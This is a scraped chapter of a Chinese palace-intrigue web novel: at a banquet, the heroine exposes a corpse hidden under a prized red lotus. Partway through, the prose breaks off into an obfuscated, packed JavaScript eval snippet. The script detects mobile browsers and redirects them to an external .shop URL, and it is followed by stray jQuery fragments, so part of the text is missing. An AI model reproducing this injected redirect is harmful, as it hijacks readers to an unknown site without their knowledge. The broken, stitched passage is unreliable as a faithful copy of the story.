文趣网 > 其他小说 > 长辞 > 8. 荷下
    “谢姑娘如今不去操心着心上人的仕途,却来揪着张家人不放,这是何用意。”陆晏舟走在谢长辞身边,漫不经心地问。

    张家院子大得很,这景致最好处便是这偌大的荷花池,冬日严寒,本是夏日之花,却能在冬日绽放,张家人皆以为是祥瑞,也曾以赏荷之名开宴数次。

    谢长辞沿着池子边缘缓缓走着,声音淡淡:“世子何时揽了月老的活,管上牵红线的事来,我与伯章克己守礼,从未逾矩。”

    陆晏舟微微一愣,她和齐衍竟没关系?

    “我同世子说了,案子我要查,石材我也会找到,一样也不会放手。”

    陆晏舟瞧着她的侧颜,谢长辞瞧着池中的荷花,瞧得出神,陆晏舟见了冷笑一声:“可惜今日你怕是要空手而归了,本世子在此,便是受人所托,维护老国公寿宴的体面,这不是醉仙楼,你没办法摆脱我。”

    “定北王府的人在外守着,你的人进不来,你孤身一人,注定白走一趟。”

    谢长辞回头轻轻一笑,笑得出尘明媚,似这身后满池的荷花都沦为了陪衬,却不待他人欣赏半分,下一秒谢长辞说出的话便叫陆晏舟恨不得掐死她:“她们顶什么用?有我一人便足矣,世子要跟尽管跟着。”

    “再说了,上次在醉仙楼,世子也是这么自信,最后如何了?”

    谢长辞说完,便不再理会陆晏舟,径直走向宴席间。

    张家难怪是皇后母族,一个国公寿宴,竟然敢如此招摇,皇帝忌惮权臣谁人不知,有意打压定北王府,众臣惶惶不安,倒是这张府一个寿辰,便宴请了八方能臣,竟然不怕担了结党营私之罪。

    作为自己母家,又是一直扶持自己的,这样的场面自然少不得庆王,谢长辞拿着靖王府的帖子,便坐在除开主家之下和庆王相对的位置。

    庆王身边美女环伺,一双凤眼微眯透出凉薄,脸上线条凌厉更添狠戾,钟离瑾轻嗤一声:“什么时候,皇弟身边,多了这样一位美人?”

    莫等庆王露出雀跃之色,那抹云端之色闯入了一瞥不速的渊蓝。

    陆晏舟坐在谢长辞身边,故意略过庆王打量的神色,看向谢长辞,乘着歌舞升平,淡淡端起茶盏,故意压低声音挑衅般问:“庆王素爱美女,靖王可会为了你和他撕破脸?”

    谢长辞唇角微微一勾,自然不会,靖王比庆王更加老辣圆滑,最是爱惜名声,哪怕斗得再狠,也不愿落下半分不贤之名。

    “回去吧,你救了我的至亲,此次忠告,算是还你人情。”陆晏舟淡淡说,别开了脸。

    谢长辞却不以为意,淡声道:“世子如今还有空担心我,令姐不肯回了王府,待在客栈。”

    “世子又将人手调来维护寿宴的秩序了,可曾注意到这场上少了谁?”

    陆晏舟眸光立即向席下扫去,发现唐肃的位置空无一人,脸色瞬间便冷了下来。

    陆川瞧见自家主子脸色难看,立即双手一拱便走了出去。

    谢长辞拿着玉瓷勺子轻轻搅弄着碗中的甜粥,说着:“令姐不愿回府,不愿落下出逃夫家的名声,怕被捉了把柄被休弃,让王府蒙羞。”

    “世子亦是为如何拿到和离书惆怅不已。”

    谢长辞将一旁玉碗中的砂糖舀了一勺放入粥内,此举让陆晏舟微微皱眉,后头的青梧更是捂脸,隔着这么远都觉得牙疼不已。

    正在谢长辞想再加一勺时,手腕却被陆晏舟抓住了,陆晏舟见她话已至此,还有什么不明白:“我知女儿家名声金贵,唯恐处置不当伤了阿姐,你此话说来是有法子?”

    到底是男人,这些事处理到底是一根筋,鲁莽逼急了唐家人一纸休书,不如直接逼江泠月去死?

    “我有。”谢长辞说了这么一句便低头喝着粥,陆晏舟哪里不懂她的意思:“张赟的事,绝无退路。”

    “我也提点你一句,庆王不会放弃张赟,而你此举,无异于彻底和他撕破脸。”

    谢长辞那双眸子,凉凉扫了一眼陆晏舟,不甚在意。

    陆晏舟必然要护住张赟,而谢长辞咬住了张家不放,方才还恰恰相谈,此刻骤然便势如水火了起来。

    “国公爷,宴席至此,何不请我等去一观你那池中的佛莲?冬日盛莲,当世奇观呐。”人群中不知谁起的头。

    张赟脸色微微一变,却立马恢复得正常。

    “殿下,妾没见过此等奇观,想去看看,殿下可允?”这是庆王最近新收的一名美妾,听说手腕颇为了得,将庆王后院搅得一团乱,庆王妃亦治不住她,偏生庆王像着了魔一般,将她宠上了天。

    “怜儿喜欢的,本王无有不依的。”

    众人熙熙攘攘地跑出去观莲,谢长辞还在原地未动,慢慢地喝着粥,陆晏舟便坐在一旁,冷着脸。

    身后的陆安和青梧已是剑拔弩张,只差打起来了。

    谢长辞喝完了,轻声道:“冬日盛莲如此奇观,若因为我耽误了世子观赏,当真是有罪。”说着便缓缓起身,却因一瞬间的头晕身子晃了晃,陆晏舟手下意识抬了抬,可谢长辞很快便站定了。

    陆晏舟不动声色将手收回来,心中烦闷到了极点,这样黑心肝,利欲熏心的女人,哪里会需要帮助?

    他便该在当初动刑时将人杀了,也不必此刻来碍他的眼!

    凛冬之际,长安城千里冰封,万里雪飘,张府这莲池,却因引护城河水,活水流动而只是轻轻覆了一层薄冰,千多莲花破冰而出,傲立水上,引得白鹭水上惊鸿。

    最吸睛的便是那池中央的一朵硕大的红莲,红得明艳,少见莲花有如此显眼的颜色,众人都不免称赞。

    张赟也笑道:“这朵红莲便是想等到皇后娘娘千秋节之时奉上。”

    “正红本就是中宫之色,哪是嫣红粉红那些妾室之色可比?”

    说着张赟得意地瞧了眼谢长辞,“谢姑娘说呢?”在场之人皆知这是在嘲笑靖王和卢贵妃不自量力和中宫嫡子争。

    “殿下!”一声娇嗔传来,若怜作势埋在庆王胸膛痛哭:“张大人这是作践谁?”

    “作践我一介妾婢之身吗?”

    张赟立时便慌了,庆王这个爱妾可是娇纵的很,不论是庆王妃还是谁,哪怕是皇后也敢出言顶撞。

    “臣哪里敢冒犯良娣?不过是在说些许自不量力和殿下作对之人罢了。”

    这无知蠢妇如今看不清状况反倒在给谢长辞解围了。

    不远处隐隐约约传来些许刀剑铿锵碰撞之声,有些宾客好奇,被张家人拉回,“不过是些许小贼,无妨无妨。”

    陆晏舟却心知肚明,是谢长辞的人动手了,倒还真的让她的人进来了。

    张赟大笑着引众人走上桥,去观那朵奇莲。

    陆晏舟神色冷冷:“张府守卫众多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723776|208776||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,谢长辞,人命在你这如此不值钱?哪怕是你自己的人?”

    谢长辞笑了,越过众人,轻声道:“人命在谁眼中不值钱还未可知呢。”

    此话一出,众人皆是一头雾水,只听谢长辞道:“我瞧张大人这红莲甚好,赠我可好?”

    张赟气急败坏指着谢长辞:“红莲稀有,你口气未免狂妄了!”

    谢长辞凉凉扫了他眼,露出一抹轻蔑的笑容,朱唇轻启,一字一句:“我偏要!”

    青梧趁着陆安不备,一掌将其推开,轻功踏着岸边的围栏接力飞向池中,一手攥住那莲茎,翻身一用力带着底下连着的一大堆什么东西朝岸边甩去,事了踏莲而去。

    谢长辞在不远处瞧见空中被扔来的那东西,不动声色地往陆晏舟身后躲了躲。

    连泥带水,一具尸体湿漉漉啪的一声拍在地上,宾客吓得慌忙散开。

    那尸体满身污糟看不清面容,莲茎自她口中吐出,托举着那朵红莲。

    陆晏舟未动,脸色铁青。

    蠢货!

    陆晏舟碍着皇后和庆王的面子不得不接下这么个烂摊子。

    再三上门询问玉兰尸体所在,却被敷衍说是病死烧了。

    若非张赟防备着自己,如今又岂会被谢长辞捉了现行?

    “是尸体……是尸体!”人群中吵嚷起来,老国公重重咳嗽两声,指着谢长辞:“拿下她!”

    张赟于慌神中回过神来,气急败坏便命令手下:“敢在张府的地界撒野,来人!拿下她!”

    一群练家子提着剑就围住谢长辞,谢长辞站在陆晏舟身后,一人提剑刺来,便在那千钧一发之际,铿的一声,那刺来的剑被陆晏舟的剑挡下震开。

    谢长辞闭着的眼缓缓睁开,看着陆晏舟的背影,意外他居然会救自己。

    “世子!为何要护着这妖女!”

    “众目睽睽之下,张大人是要公然杀害平民?是嫌罪名不够大吗?”陆晏舟脸色难看。

    张赟被唬得站住,无措地回头瞧庆王:“殿下……”

    庆王冷哼一声,牵着若怜离去了,东窗事发,满京城的达官贵族都瞧见了,难道让他众目睽睽之下去包庇张赟不成?

    庆王一走,张家围墙之外传来打斗之声,片刻的功夫,孟怀瑾带着人冲了进来,将众人围住,陆家的近卫与孟怀瑾的人兵刃相向。

    陆晏舟扯过身后的人,攥着谢长辞手腕力道之大像是要将她手腕捏碎,谢长辞疼得微微皱眉。

    “连刑部的人都早早备好了?谢姑娘如此势在必得,本世子今日再如何筹谋也无济于事吧。”

    谢长辞没有逃避陆晏舟那刀般的眼神,淡淡一笑。

    孟怀瑾冷冷出声:“世子!谢姑娘与此案有关,放开她!”

    这声维护让陆晏舟冷笑一声,不甘地将谢长辞放开。

    张赟还试图挣扎,眼神却不免慌乱。

    张赟指着孟怀瑾:“孟怀瑾,你如今私闯张府,皇后娘娘知晓了定然不会轻饶孟家,你还想彻查上官不成?”

    孟怀瑾握着剑,不为所动:“此案由刑部处理,下官身为刑部侍郎,行分内之职,在场的国公,世子,诸位大人都有包庇之嫌,请一同回刑部回话。”

    谢长辞不禁轻笑出声,果然是铁面无私的孟大人,一言不合就要捉走定北王府的世子和国公府三朝元老的国公。